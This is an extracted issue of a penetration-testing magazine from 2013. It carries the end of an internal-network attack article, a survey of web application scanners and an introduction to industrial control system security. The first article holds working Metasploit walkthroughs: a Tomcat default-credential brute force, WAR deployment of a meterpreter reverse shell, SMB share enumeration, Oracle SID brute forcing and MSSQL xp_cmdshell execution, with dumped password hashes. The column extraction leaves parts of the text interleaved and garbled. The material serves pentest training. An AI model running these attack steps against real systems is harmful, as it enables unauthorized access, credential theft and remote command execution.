8846f7eaee8fb117ad06bdd830b7586c::: The next step is to check for default credentials.
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:
8846f7eaee8fb117ad06bdd830b7586c::: msf >use auxiliary/scanner/http/tomcat_mgr_login
TsInternetUser:1000: aad3b435b51404eeaad3b435b5140 msf auxiliary(tomcat_mgr_login) > info
4ee:8846f7eaee8fb117ad06bdd830b7586c:::
<SNIP> Typing info gives information about the module.
This includes required information required to ex-
Running extensions such as mimikatz allows ploit and any optional information such as use of
you to examine passwords that may be stored a custom dictionary or custom path the manager
in the memory in clear text, there by elimiating application is on. Next we run the check for de-
the need for cracking the LM or NTLM hash ob- fault credentials (Listing 4).
tained above. We have success using tomcat/tomcat username/
We now have Local Administrator privilege on password combination. If you use a browser and
the server. authenticate to the server http://10.0.0.25:8080/
So, you may think that the network you are on manager/html you should see a page similar to the
has no unpatched servers (or at least not MS08- one shown in Figure 1.
067). Whats next?

Default Passwords
Quite often, new servers or applications get de-
ployed on systems as a part of project roll out.
System Administrators are not always updated
with the packages that application requires or in-
stalls. Many applications which provide a web-
based GUI often use application servers such
as Tomcat to process and present the informa-
tion. These applications may not be hardened by
Figure 1. Result of authenticating the server
the vendor and may be configured with default

Listing 4. Checking for default credentials

msf auxiliary(tomcat_mgr_login) > set RHOST 10.0.0.25


msf auxiliary(tomcat_mgr_login) > set RPORT 8080

[*] 10.0.0.25:8080 Trying username:tomcat with password:role1


[-] http://10.0.0.25:8080 /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to
login as tomcat
[*] 10.0.0.25:8080 Trying username:tomcat with password:root
[-] http://10.0.0.25:8080 /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to
login as tomcat
[*] 10.0.0.25:8080 Trying username:tomcat with password:tomcat
[+] http://10.0.0.25:8080 /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful
login tomcat : tomcat
[*] 10.0.0.25:8080 Trying username:both with password:admin

TBO 03/2013 Page 96 http://pentestmag.com


We now use the Metasploit deploy module to configured with the default user of root and pass-
create our application that would be deployed on word of calvin. This allows gaining access to the
the server (Listing 5). console and in many cases, with an administrative
Metasploit has automatically detected that the user with an active session. It is also worth trying
target system is a linux server and chosen an apro- default credentials on networking devices on the
priate payload for it. We find that using a command telnet or ssh port. If you gain access to a corporate
getuid we can identify the user running the Tomcat router or switch you could alter a route or configure
application server. This is usally tomcat or similar to eavesdrop on all traffic handled by the switch.
on Linux servers. This has granted us limited local
user privileges on the host. Other examples, where Application Servers
default credentials can provide success is server All organizations seem to run some sort of ap-
management consoles. For example Dell DRAC is plication servers, whether it is Apache Tomcat or

Listing 5. Metasploit deploy module

msf > use exploit/multi/http/tomcat_mgr_deploy


msf exploit(tomcat_mgr_deploy) > set RHOST 10.0.0.25
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8080
msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 10.0.0.200:4444


[*] Attempting to automatically select a target...
[*] Automatically selected target Linux x86
[*] Uploading 6459 bytes as zWFwqoBbIftd7kyYka.war ...
[*] Executing /bWFwnoBbIedec7kyEOzZ/5f0tDtPEV9UXyAkQ6uP.jsp...
[*] Undeploying bWFwnoBbIedec7kyEOzZ ...
[*] Sending stage (30216 bytes) to 10.0.0.20030
[*] Meterpreter session 2 opened (10.0.0.200:4444 -> 10.0.0.25:48633) at 2013-09-28 19:18:15

Meterpreter>

Listing 6. Gaining access to shares

msf auxiliary(tomcat_mgr_login) > use auxiliary/scanner/smb/smb_enumshares


msf auxiliary(smb_enumshares) > set RHOSTS 10.0.0.1-50
msf auxiliary(smb_enumshares) > set THREADS 16
msf auxiliary(smb_enumshares) > run
[*] 10.0.0.15:12 print$ - Printer Drivers (DISK), tmp - oh noes! (DISK), opt - (DISK), IPC$ - IPC
Service (metasploitable server (Samba 3.0.20-Debian)) (IPC), ADMIN$ - IPC Service
(metasploitable server (Samba 3.0.20-Debian)) (IPC)
Error: 10.0.0.18 Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_
ACCESS_DENIED (Command=37 WordCount=0)
Error: 10.0.0.18 Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_
ACCESS_DENIED (Command=37 WordCount=0)
[*] 10.0.0.16:12 IPC$ - Remote IPC (IPC), ADMIN$ - Remote Admin (DISK), C$ - Default share (DISK)
Error: 10.0.0.162 Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_
ACCESS_DENIED (Command=37 WordCount=0)
Error: 10.0.0.10 Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_
ACCESS_DENIED (Command=37 WordCount=0)

TBO 03/2013 Page 97 http://pentestmag.com


JBoss or some related. The next step is to check Open Shares
these servers for common problems such as de- Occasionally on large networks, you may come
fault passwords for management interfaces or a across open shares or network folders which do not
more specific one related to JBoss, authentica- require any credentials. Shares often contain im-
tion bypass. Either of which could be used to de- portant or sensitive information which may be criti-
ploy a custom application (thats what application cal to an organization. Often information deemed
servers do!) which allow you to execute com- sensitive or critical may vary from company to
mands on the host. company but usually includes financial information
Its worth looking at Metasploit modules such as or merger or acquisition information, any of which
if leaked, can have disastrous consequences.
auxiliary/admin/http/jboss_seam_exec These shares may also contain files which contain
auxiliary/scanner/http/jboss_vulnscan passwords to various resources. Getting access to
exploit/multi/http/jboss_invoke_deploy Password.xlsx, which is the master password list
exploit/multi/http/jboss_maindeployer for all the servers, is a game over scenario for any

Listing 7. sid_brute module

msf > use auxiliary/admin/oracle/sid_brute


msf > set RHOSTS 10.0.0.133E

[+] 10.0.0.133:1521 Oracle - ORCL is valid


[*] 10.0.0.133:1521 - Oracle - Checking XE_XPT...
[*] 10.0.0.133:1521 - Oracle - Refused XE_XPT
[*] 10.0.0.133:1521 - Oracle - Checking CLREXTPROC...
[+] 10.0.0.133:1521 Oracle - CLREXTPROC is valid
Msf >

Listing 8. Attacking MS-SQL servers

msf > use auxiliary/scanner/mssql/mssql_login


msf auxiliary(mssql_login) > set RHOSTS 10.0.0.20
RHOSTS => 10.129.121.70-71
msf auxiliary(mssql_login) > exploit

[*]10.0.0.20:1433 - MSSQL - Starting authentication scanner.


[*]10.0.0.20:1433 MSSQL - [01/10] - Trying username:sa with password:
[-]10.0.0.20:1433 MSSQL - [01/10] - failed to login as sa
[*]10.0.0.20:1433 MSSQL - [02/10] - Trying username:sa with password:sa
[+]10.0.0.20:1433 - MSSQL - successful login sa : sa

Listing 9. Auxiliary module execution

msf auxiliary(mssql_login) > use auxiliary/admin/mssql/mssql_exec


msf auxiliary(mssql_exec) > set CMD cmd.exe /c echo OWNED > C:\owned.exe
msf auxiliary(mssql_exec) > set PASSWORD sa
msf auxiliary(mssql_exec) > run

[*] SQL Query: EXEC master..xp_cmdshell cmd.exe /c echo OWNED > C:\owned.exe

output
------
[*] Auxiliary module execution completed

TBO 03/2013 Page 98 http://pentestmag.com


organization. From Listing 6, we can see that the
server 10.0.0.16 and 10.0.0.15 may allow access
to shares. The next step is to mount the shares
and examine the contents for any sensitive files.
Using the above module with credentials (do-
main credentials) will get a lot more mileage that
un-privileged access.

Database Servers
Every organization needs database servers. The
most commonly seen servers are Oracle, MySQL,
and MS-SQL. Oracle database servers run on port
1521/TCP commonly. Oracle database servers 9
and lower by default do not have a listener pass-
word set and allow enumerating the service identifi-
ers (SID). In order to connect to database server you
need to specify the SID. In Oracle 10g and onwards
this is not the case. When trying SID enum against [ GEEKED AT BIRTH ]
a 10g+ server we see the following response

msf > use auxiliary/scanner/oracle/sid_enum


msf > set RHOSTS 10.0.0.1-25
RHOSTS => 10.0.0.1-25
msf auxiliary(sid_enum) > run
[-] TNS listener protected for 10.0.0.133...

Next we try to guess (or bruteforce common SID


names) using the sid_brute module (Listing 7).
Another way to potentially enumerate SID in-
formation is via the EMC console running on port
1158 and running the auxiliary/scanner/oracle/ You can talk the talk.
emc_sid module. Now that we have found a valid Can you walk the walk?
SID, the next step is to check for default user cre-
dentials. Oracle database comes with a number of
default users for various roles and purposes. [ ITS IN YOUR DNA ]
Once you have gained access to default cre- LEARN:
dentials modules such as auxiliary/admin/oracle/ Advancing Computer Science
post_exploitation/win32exec, it can be used to run Artificial Life Programming
Digital Media
arbitrary commands. SQL Injection vulnerabilities Digital Video
within stored procedures could also be used to es- Enterprise Software Development
calate privileges from limited user to DBA. Game Art and Animation
Attacking MS-SQL servers is just as similar (Listing Game Design
Game Programming
8). Once you have login credentials, command exe- Human-Computer Interaction
cution could be possible by abusing the built-in stored Network Engineering
procedure xp_cmdshell (Listing 9).Now, youve Network Security
learnt a few techniques which may get you limited Open Source Technologies
Robotics and Embedded Systems
or privileged user access to hosts within an internal Serious Game and Simulation
network. The next article will detail other exploitation Strategic Technology Development
techniques and post-exploitation techniques which Technology Forensics
get you from localadmin to Domain Admin. Technology Product Design
Technology Studies
Virtual Modeling and Design
Web and Social Media Technologies
Blackbox
www.uat.edu > 877.UAT.GEEK
TBO 03/2013 Please see www.uat.edu/fastfacts for the latest information about
degree program performance, placement and costs.
Pentesters Suitcase
Everything You Need to Keep Web Applications Safe

Front facing web segments are always the target of malicious


hackers. This article explains about how to save web
applications by using various tools and techniques. Pentesting
web applications from hackers perspective reveal the pesky
applications to the web that could be targeted by bad guys.

T
he most common web application security Its various tools work seamlessly together to
weakness is the failure to properly validate support the entire testing process, from initial
input coming from the client or environment mapping and analysis of an applications at-
before using it. This weakness leads to almost all tack surface, through to finding and exploiting
the major vulnerabilities in web applications, like security vulnerabilities.
cross site scripting, SQL injection, interpreter injec- Burp Suite contains many key features:
tion, locale/Unicode attacks, file system attacks,
and buffer overflows. Data from an external entity An intercepting proxy, which lets you inspect
or client should never be trusted, since it can be and modify traffic between your browser and
arbitrarily tampered with by an attacker. Accept the target application.
known good and reject known bad, this technique An application-aware spider, for crawling con-
must be followed. That is rule number one. Unfor- tent and functionality.
tunately, complex applications often have a large An advanced web application scanner, for au-
number of entry points, which makes it difficult for tomating the detection of numerous types of
a developer to enforce this rule. I will describe lat- vulnerability.
est tools and techniques that will evaluate the se- An intruder tool, for performing powerful cus-
curity issues into web applications. tomized attacks to find and exploit unusual vul-
nerabilities.
There are lots of open source and paid web A repeater tool, for manipulating and resending
application auditing frameworks. individual requests.
Top 5 tools will be discussed here that I per- A sequencer tool, for testing the randomness
sonally use for pentesting. of session tokens.
The ability to save your work and resume
At first, one of my favorite tools for auditing web working later.
applications is Burp Suite from Port swigger. Extensibility, allowing you to easily write your
Burp Suite is an integrated platform for per- own plug-ins, to perform complex and highly
forming security testing of web applications. customized tasks within Burp.

TBO 03/2013 Page 100 http://pentestmag.com


Setting Up Intercepting Proxy for Non- quests from Burp to be directed to the correct
proxy-aware Client destination server. (if you not follow these steps,
Sometimes when testing web applications, you requests would be redirected to your localhost in
may find yourself in such position that you need to an infinite loop).
use a thick client that runs outside of the browser.
And hence, many of these clients do not let you Arachni
configure an HTTP proxy, because it connects di- During a pentest of web applications I have used
rectly to the web server hosting the web applica- this tool that supports large amount of features.
tion. At this stage, it will stop you from using an in- Arachni is a full- featured, high-performance Ruby
terception proxy to modify the requests. framework that helps penetration testers and admin-
istrators evaluate the security of web applications.
Unlike other scanners, Arachni supports the dy-
namic nature of web applications and can detect
changes made while passing through the paths of
a web applications cyclomatic complexity.
This way attack/input vectors that would other-
wise be undetectable by non-humans are seam-
lessly handled by Arachni. Arachni can do a huge
amount of jobs in pentesting web applications like:

For forms, links, and cookies auditing.


A wide range of injection strings/input combi-
nations.
Figure 1. Burp Suite Editing request through intercepting Writing RFI, SQL injection, XSS, and others
proxy on the fly happens in fraction of seconds.

Burp Suite gives you some features that will let


you continue at this stage. To do this, you need to
follow these steps:
Just modify your OSs host file to resolve the
address used by application to the localhost
(127.0.0.1), for example 127.0.0.1 www.grayhat.in.
This will tell the thick client to redirect the traffic
to your system.
Now configure the Burp Proxy listener on port 80
or 443 (according to the port used by the appli-
cation) of your loopback interface, and set the lis-
Figure 2. Modules in Arachni
tener to invisible proxying. The invisible proxying
means that the listener can accept the non-proxy Some of the more advanced Recons support-
requests sent by the thick client, which have been ed by Arachni are:
redirected to your loopback address. Allowed HTTP methods
Invisible mode supports both HTTP and HTTPS. Back-up files
You will get certificate issue with this kind of fea- Common directories
tures. It becomes necessary to configure invisible Common files
proxy listener to give an SSL certificate with a spe- HTTP PUT
cific hostname which matches what the thick client Insufficient Transport Layer Protection for
applications expects. password forms
You can find these settings under: Connections WebDAV detection
-> Hostname Resolution. HTTP TRACE detection
It will let you define mappings for domain names Credit Card number disclosure
to IP addresses to override your computers own CVS/SVN user disclosure, Private IP address
DNS resolution. this causes the outgoing re- disclosure

TBO 03/2013 Page 101 http://pentestmag.com


Common backdoors to find and exploit web application vulnerabilities
.htaccess LIMIT misconfiguration that is easy to use and extend. To read our short
Interesting responses and long term objectives, this project is currently
HTML object grepper hosted at Source Forge. For further information,
E-mail address disclosure you may also want to visit w3af Source Forge proj-
US Social Security Number disclosure. ect page.
The guys from BackTrack (well, it has connec-
OWASP Zed Attack Proxy Project tions with metasploit) included this awesome tool
Auditing web applications becomes easy when a in their latest release.
lot of tools with a lot of features are in the toolbox. This features some fantastic modules that can
One of those full featured tools is OWASP project help a pentester to audit web applications:
Zed Attack Proxy.
The Zed Attack Proxy (ZAP) is an easy to use Xsrf
integrated penetration testing tool for finding vul- htaccessMethods
nerabilities in web applications. sqli
ZAP provides automated scanners as well as a sslCertificate
set of tools that allows you to find security vulner- fileUpload
abilities manually. mxInjection
generic
localFileInclude
unSSL
xpath
osCommanding
remoteFileInclude
dav
ssi
eva
buffOverflow
xss
Figure 3. Zed Attack Proxy xst
blindSqli
It is designed in such a fashion by people with formatString
a wide range of security experience, and as such preg_replace
is ideal for developers and functional testers who globalRedirect
are new to penetration testing. ZAP supported fea- LDAPi
tures are: phishingVector
responseSplitting
Intercepting Proxy
Automated scanner
Passive scanner
Brute Force scanner
Spider
Fuzzer
Port scanner
Dynamic SSL certificates
API
Figure 4. Insecure DAV Configuration
Beanshell integration
Netsparker
W3AF (Web Application Attack and Audit Netsparker will try lots of different things to confirm
Framework) identified issues. If it cant confirm it and if it requires
W3af is a Web Application Attack and Audit Frame- manual inspection, itll inform you about a potential
work. The projects goal is to create a framework issue generally prefixed as [Possible], but if its con-

TBO 03/2013 Page 102 http://pentestmag.com


firmed, thats it. Its a vulnerability. It supports lots of
features like Internal IP discloser, Directory Listing, Resources and References
Internal Path Disclosure, and so on. Arachni
Web Vulnerability Scanning With Arachni http://
www.securitytube.net/video/7024.
Burp suite
Burp Cross Site Request Forgery Testing http://
www.securitytube.net/video/5004
Burp Suite Exploiting Lfi With Php://Input Wrap-
per http://www.securitytube.net/video/7751
Using Burp To Exploit A Blind Sql Injection http://
www.securitytube.net/video/7753
ZAP proxy (Zed attack proxy)
Web Application Scanning With Owasp Zap
http://www.securitytube.net/video/7023
Owasp Zap Proxy Security Testing In Development
And Qa http://www.securitytube.net/video/5498

Figure 5. Netsparker security is a current and critical subject. For busi-


nesses that collect increasing revenue from E-
Besides using all these tools for pentesting web commerce, for users who trust web applications
applications, you are required to use some man- with sensitive information, and criminals who can
ual attacks, because tools can stop themselves make big money by stealing payment details or
at some point and at that point, the experience of compromising your bank accounts. Some of them
manually used techniques while pentesting web want to do business with an insecure website, so
applications may come in handy. few organizations want to disclose details about
Going further in web applications pentesting, their own security vulnerabilities or breaches.
you have to keep in mind some of the below tech- Hence, it is not 100% secure and sure that web
niques must be used. application you are relying on is not vulnerable.
With a simple and powerful tool like burp suite
Configuration Management Testing attackers can manipulate the entire validation
Business logic testing scheme that resides at client side.
Authentication Testing
Authorization Testing
Session Management Testing
Data Validation Testing
Testing for Denial of Service
Web Services Testing
Ajax Testing.
ATUL TIWARI
You can use all these techniques to assess you Atul Tiwari is the founder of an ethi-
web applications to secure the web. cal hacking and information security
training and service provider compa-
Conclusion ny gray hat (P) Ltd Ranchi (India). He
Web applications are always a main target of ma- is currently working for his own com-
licious hackers. In this era, almost everyone is pany and has been working for inno-
going to be more dependent on the web from net- buzz knowledge solutions. He is has
banking, social networking, online shopping, and been information security and web app pentesting for
so on. That attracts web application security ex- 5 years and holds many certifications including Diplo-
perts to focus on security of that frontend web. ma in Cyber Laws, GLC Mumbai, Certified Ethical Hack-
Reputation plays a critical role mostly in business. er, CCNA, web application security. Atul is reachable at
Obviously, there is no doubt that web application atul@grayhat.in.

TBO 03/2013 Page 103 http://pentestmag.com


Understanding
(the basics of) industrial control systems

Industrial control systems are in the heart of the business controlling


critical processes, while increasingly being exposed to cyber-attacks
and thus requiring security measures. Significant overlap with
traditional IT exists, but having a basic understanding of how these
industrial control systems work will certainly improve your security
assessment quality.

T
he topic of assessing security/hacking in- tions will include type specific items to remember
dustrial control system has been the sub- when setting security assessment scope.
ject of many papers, books and articles.
The goal of this article is not to redo any of these Usage
writings, as they provide a great introduction in Industrial control systems are used by various in-
the field (although part of these writings are sim- dustries, including water, electrical, utilities and oil
ply hype so evaluate critically). But even with all and gas. The applications of industrial control sys-
the resources available, it is common for security tems include nuclear reactors, chemical plants,
professionals to reduce industrial control systems substations, cranes, assembly lines, and many
to SCADA, which is incorrect. This article aims others. Other lesser known applications include lo-
to help the reader to better understand industri- gistics, manufacturing and shipping (yes, ships).
al control systems by describing two important Various forms of industrial control systems exist.
types: DCS and SCADA. In addition it will provide Depending on the application one form of indus-
key items to consider when setting scope of in- trial control system may be chosen over another,
dustrial control systems security assessment. In but the principle remains the same: controlling a
order to fully benefit from this article, some prior process through measuring process variables and
experience in assessing security within the office- adjusting parameters if needed.
IT domain is necessary. The reason for automating differs per instance,
In this article first a background on industrial but is typically meant to enhance process efficien-
control systems usage and application will be pro- cy, ensure a constant quality, reduce cost or health
vided, followed by a fictitious example of process and safety risks, or a combination of these. The
control, a brief description of information exchange degree to which automation has been achieved,
with other systems, and items to keep in mind however, varies per instance. Control is achieved
when setting scope of a security assessment on by embedding various types of instruments (sen-
any industrial control system. After this, the distrib- sors and control elements also called actuators)
uted control system and SCADA specific types of into the process. These instruments measure pro-
industrial control systems will be described. Both cess variables by some form of physical quantity,
distributed control system and SCADA descrip- such as mass, temperature etc. The measurement

TBO 03/2013 Page 104 http://pentestmag.com


is converted to an electric current and provided to instrument itself or, more typically is a monitor
a microprocessor or controller. The controller will attached to a computer, containing a (simplified)
contain programmed logic (for example: if Mass > graphic display of the process and instruments
X then perform operation X..) determining if pro- and actuators.
cess parameters (for example: increase flow) Notifying operators about unusual feedback and
should be adjusted, which means enabling an ac- potentially unsafe conditions is key in all industrial
tuator. The actuators perform some form of activ- control systems. Any industrial control system will
ity to influence the environment (open a valve, or contain alarm (management) functionality. These
electromagnet etcetera). alarms are configured to notify operators via the
Any industrial process will also (eventually) human machine interface when reaching maxi-
require a human being for performing process mum or minimum levels or in case of instrument
steps too costly or complex to automate, such breakdowns.
as monitoring performance of the industrial con-
trol system (continuously or periodically), and in- Processes controlled
tervening in the process if needed. To facilitate A simple illustration of a process controlled by an
this, the industrial control system communicates industrial control system can be made with an ex-
the measurements and feedback of actuators to ample process of keeping a tank filled with a liq-
its users; the process operators. The measure- uid level between ten and fifty percent, and keep-
ments that are communicated are called tags. ing this liquid at a certain temperature. The liquid
These tags will be stamped with the current time/ (feedstock) is provided by some source at a con-
date in order to allow for trending. Communicat- stant rate, draining is performed by opening a
ing by the industrial control system to its users valve at the bottom of the tank, discharging to a
is done through what is called a human machine set destination. Two variables are measured: lev-
interface, which may be a simple display on an el and temperature. The instruments required will

Figure 1. Example process Liquid receiving tank having instruments to monitor level (high and low) and temperature,
discharged by bottom valve

TBO 03/2013 Page 105 http://pentestmag.com


thus be a level indicator and a temperature indica- in the performance of a process through industri-
tor. In order to discharge the tank it needs to have al control systems. Because these systems are in
an actuator, opening a valve in the bottom of the the heart of the business, the information gained
tank (Figure 1). allows for better planning, procurement, inventory
In practice the rate at which liquid is provided management and sales.
may vary, as a result controlling the temperature of An easy visualisation of information exchange
the liquid in the tank will be a challenge, and risk. with other systems can be made using the ISA-95
For example if a large amount of liquid enters the standard, which contains a model showing the da-
tank the temperature may plummet (or rise quick- ta exchange from process up to business systems
ly), or the level in the tank may rise above half of (Figure 2).
the tank. The result is an inefficient process and
possibly a safety risk.
It should be considered that some of the pro-
cesses controlled by industrial control systems are
inherently unstable. As a result controllers are con-
stantly adjusting actuators as a result of the mea-
surements. If instruments show unexpected or un-
wanted measurements, our example tank should
no longer receive any feedstock. In such situations
the actuator should go to a safe state (fail safe po-
sition). In our example this may be fully opening
the valve to discharge the tank as soon as pos-
sible, returning to a safely operable process.
Another inherent risk is instrument communica-
tions breakdowns. If for example the level mea-
surement instrument breaks down or the com- Figure 2. Diagram of layers in information exchange
munication link breaks, the controller is unable to according to International Society of Automation ISA-95
calculate the required actuator action, and the tank
may overflow. Similarly, if the actuator (the valve in Manufacturing operation systems manage the
the example) jams, the level will continue to rise. flow of the process and provide an information
Redundant measurement instruments may miti- overview about it. Many different implementa-
gate the risk of instrument breakdowns. Feedback tions exists, but in general these system enable
on the status of actuators is also an important miti- optimizing the process, by providing a view on
gation of risk, this will show the actuator is in an the product definition as the basis of the process
unexpected state (requested to open but still in execution, materials used in the process, sched-
closed position). uling of process execution (batch), progress of
Engineering industrial control systems is all product, etcetera.
about creating safe control logic, ensuring these Business systems include the well-known exam-
business critical and potentially dangerous pro- ple of Enterprise Resource Planning, but can po-
cesses operate efficiently and safe. It is important tentially be any system requiring information from
to understand this, and consider the processes the process. Other examples are customer relation
when working with industrial control systems, as management systems or warehouse management
these are some of the most critical processes you systems. These business systems reside in the of-
will find in any business. Fortunately, safety is a fice-IT domain.
key consideration in the design of any industrial The requirement for information exchange with
control system, meaning that having a single in- the office-IT domain (business systems) inher-
terruption typically does not cause an immediate ently introduces cyber security risks (hacking et-
safety hazard. cetera). Due to the criticality of industrial control
systems mitigation of these risks is required. A
Information exchange with other systems significant amount of mitigation can be achieved
Businesses have quickly realised the potential for with a traditional office-IT security assessment.
not only controlling a process, but gaining insight However, some specifics do apply in industrial

TBO 03/2013 Page 106 http://pentestmag.com


control systems implementations, which should happen and may involve quickly adding an ad-
be catered for in order to ensure an effective se- hoc connection. Be sure to include checking
curity assessment. with engineers and operators. In addition, the
management of these connections may be al-
Setting security assessment scope located to different stakeholders (enterprise re-
While different types of industrial control systems source planning, laboratory systems etcetera),
will have unique features, several items should be each having their own silo view of connec-
considered before assessing security of any indus- tions.
trial control system. These items will help get to a
clear scope and reduce the risk of an ineffective Having gained a basic understanding of what in-
assessment: dustrial control systems are, we will continue with
more detailed descriptions of SCADA and DCS
First off, there is no standard industrial control implementations.
system implementation. It is important to un-
derstand the function of the industrial control Supervisory Control and Data Acquisition
system being assessed. This means having a SCADA
high level of understanding of the process it As the name implies, SCADA acquires tags (in-
controls, and the manner in which the indus- strument readings) through telemetry, originating
trial control system controls the process. This from field devices attached to a process in an in-
will aid in assessing your assignment risk, and dustrial setting. It is an operator centred system,
improve reporting quality (the process con- providing a degree of supervision and control, by
trolled is important, no one cares about the creating an overview of the process controlled
industrial control system itself, it is simply a and enabling limited control of the field devices
means to an end); that are actually controlling the process. The field
Things may break during the assessment. devices controlling the process are typically re-
Know who to contact in case something unex- ferred to as programmable logic controllers or re-
pected happens is important. This means un- mote terminal units. These field devices work in-
derstanding who are involved in support of the dependently from SCADA.
process it includes operators and process Applications of SCADA are mostly within geo-
and site representatives; graphically disperse industrial processes. Exam-
Not all support staff is familiar with security as- ples would be electricity grids, pipelines and wa-
sessments. Determine if your contacts are ca- ter distribution systems. SCADA can however be
pable of resolving any issues (which may not implemented on any typical device controlling a
always be the case!). Bear in mind a significant process, and can thus also be applied within a
part of support staff does not deal with IT and confined, central location. SCADA is applied when
thus may require a detailed briefing on assess- the process being controlled requires event driven
ment methodology; communication (measurement X changes), and
Outsourcing management of certain compo- when a certain tolerance exists on loss of commu-
nents happens frequently. This is because nications between SCADA and field devices that
specialist knowledge is required to install and are controlling the process. SCADA provides a
maintain some of the components used in an cost effective solution to gain oversight of process
industrial control system. Make sure all the controlled by a number of field devices.
parties involved in system support and their re-
sponsibilities are known; Architecture
Support of the system as a whole or parts of, A SCADA setup consists of field devices, telem-
may be provided by vendors/ integrators. Un- etry, a master system (or sub-masters), worksta-
derstand what is and what isnt allowed by the tions and information management servers:
support contracts in place;
Knowledge of the connectivity of the industrial The field devices run independently from SCA-
control system is required, but may be difficult DA and are typically proprietary hardware and
to obtain. Industrial control system setups may software. These units contain their own logic to
change over their long lifecycle, breakdowns control a process;

TBO 03/2013 Page 107 http://pentestmag.com


Communications or telemetry provides the in- may change variables, but it has no direct involve-
frastructure for communication between field ment in controlling the process. When interrup-
devices and master system. The infrastructure tion of communications between field devices and
may vary from telephony, network cables to SCADA occurs, SCADA masters will resynchro-
wireless and microwaves; nise the tag database and continue operation. And
The master system is off the shelf hardware, while communications are lost field devices will
typically running a Microsoft Windows oper- continue to function as normal.
ating system, with SCADA software for com- The area in which SCADA is typically applied
mand and control and visualisation. SCADA inherently provides a communications challenge.
software may be either proprietary or open A power substation located near an area in which
source; communications infrastructure is available may
Sub-masters may exist for large installations, find telephony connections or even network ca-
these are very much like master terminal units, bles to be readily available. A lone slurry pipeline
but set to relay communications back to the may not have this luxury and thus may require
designated master system. wireless communication to be made available
Human machine interfaces are connected to (mobile telephony networks, microwave or radio);
the master to provide an operator view or engi- The choice for a certain type of communication
neering functionality; really depends cost.
Information management servers, also called The master system gathers the tags and saves
data historians, store the data sent to the SCA- these to databases (called data historians). Be-
DA master. Like the SCADA master this is off cause of the resynchronising mechanism and re-
the shelf hardware running Microsoft Windows quirement of having to deal with loss of communi-
and commodity database software (usually cation, SCADA databases are more complex than
customized). other industrial control systems.
Because the data acquired provides valuable
In essence field devices programmable log- trending for business functions, the information
ic controllers or remote terminal units are spe- management server(s) are made available to the
cialized computers, connected to instruments business through corporate LANs.
and actuators, controlling a process by their pro-
grammed logic. On a high level the architecture of
a programmable logic controller consists of inputs
and outputs (connected to instruments and actua-
tors) and a logic solver. Programmable logic con-
trollers are scalable and can control significant
amounts of inputs and outputs, but are relatively
expensive. When programmable logic controllers
are used as components in SCADA they commu-
nicate amongst themselves using field busses,
and provide only limited variables to SCADA.
In some cases the safety of a process may be
important enough to warrant the use of safety pro-
grammable logic controllers. Although they may
not be implemented with the same rigour as safety
instrumentation systems in distributed control sys-
tems (which will be described later), its main goal
is to force the process to a safe state. The safety
programmable logic controllers have their own in-
puts and outputs, and will intervene when process
safety is about to be compromised because of un-
safe conditions.
Communication between field devices that con-
trol the process and SCADA is minimal. SCADA Figure 3. SCADA setup

TBO 03/2013 Page 108 http://pentestmag.com


Having gained an understanding of SCADA us- different setups (connectivity etcetera). Deter-
age and architecture, this knowledge can be uti- mining how security is dealt with in field devic-
lized to create a list of items to consider when set- es provides a good basis to work from, possi-
ting SCADA security assessment scope. bly reducing the amount of work required. Do
not assume devices are configured uniformly.
Setting SCADA security assessment scope
When assessing SCADA security, these items Distributed Control Systems DCS
contribute to an effective assessment: A distributed control system controls an industrial
process through its controllers and connected field
SCADA is not critical. Disabling SCADA will instruments. The distributed control system cen-
not shut down a processes. It will cause a lack ters around the process and directly controls the
of oversight of the process state. This may process.
cause an issue on product quality assurance Distributed control systems are typically imple-
(depending on how the process has been set mented on processes executed on one (central)
up) and thus even result in incompliance with site. The does not mean it is limited to a factory
regulations. Determine if a risk of incompliance floor, the size of a site varies. A nice example is the
exists with business owners; Jamnagar Refinery in India, which is very large,
Outsourcing of parts of SCADA setups is com- and according to Wikipedia spans 30,000,000
mon. The services provided by these outsourc- m2. Examples of applications would be oil refin-
ing partners varies. It is important to know eries, paper mills, tunnels and even ships. A dis-
what is and what isnt allowed on these net- tributed control system is used when the process
works, service windows and other typical out- controlled requires continuous status monitoring
sourcing variables. Apart from informing these (for example sequence based scan every 1000
parties (depending on the assessment to be milliseconds). The investment required for imple-
performed), gaining insight on their security menting a distributed control system is signifi-
practices, support and procedures (in case of cant, and has to be offset to the criticality of the
emergency) will require planning; process controlled.
Field devices are often located in remote loca-
tions with decreased oversight on these units. Architecture
Establishing the complete architecture of a On a high level this system consists of the follow-
SCADA implementation is difficult, but impor- ing components:
tant. Backup communication links are imple-
mented to allow for operators or engineers to Field instruments (/sensors) measure some
work on field devices, typically engineers in- physical quantity in the process. These field in-
stall these so check with them; struments are attached to (physical) structures
Field devices may have limited ability to deal supporting the process controlled and connect-
with unexpected commands and communica- ed by electrical or communication busses to
tions. Field devices are definitely a major risk controllers;
from a security perspective, and some field de- Controllers located throughout the location re-
vices are rather fragile. Determine which de- ceive the field instrument measurements and
vices are used and whether they can be safely compute which activity to undertake (Pressure >
tested. They are installed by engineers or sup- X DO Y). These controllers are also configured
pliers, so check which devices are used, and to generate alarms if certain measurements are
determine their ability to handle the methods received (Pressure too high/low). Controllers
used in the security assessment; use proprietary hardware and software;
Remote desktop setups are common. Deter- As a result of a measurement the controller
mine how these remote desktops are used, logic may determine some action has to be un-
when they are used (shifts or set hours), and dertaken. This action is executed by actuators
managed before including in scope; (Valve/Drive etc.) embedded in the (physical)
Field devices can be applied in a mix and structures supporting the process controlled;
match style. Each device is programmed and Data (tags and alarms) from the controller is for-
configured individually. This may lead to very warded to a data historian server for archiving.

TBO 03/2013 Page 109 http://pentestmag.com


This server runs on off the shelf hardware and tem will issue priority commands to the actuators
typically Windows (or some form of Unix), hav- when process safety is about to be compromised
ing a (customized) commodity database; because of unsafe conditions, fire, gas etcetera.
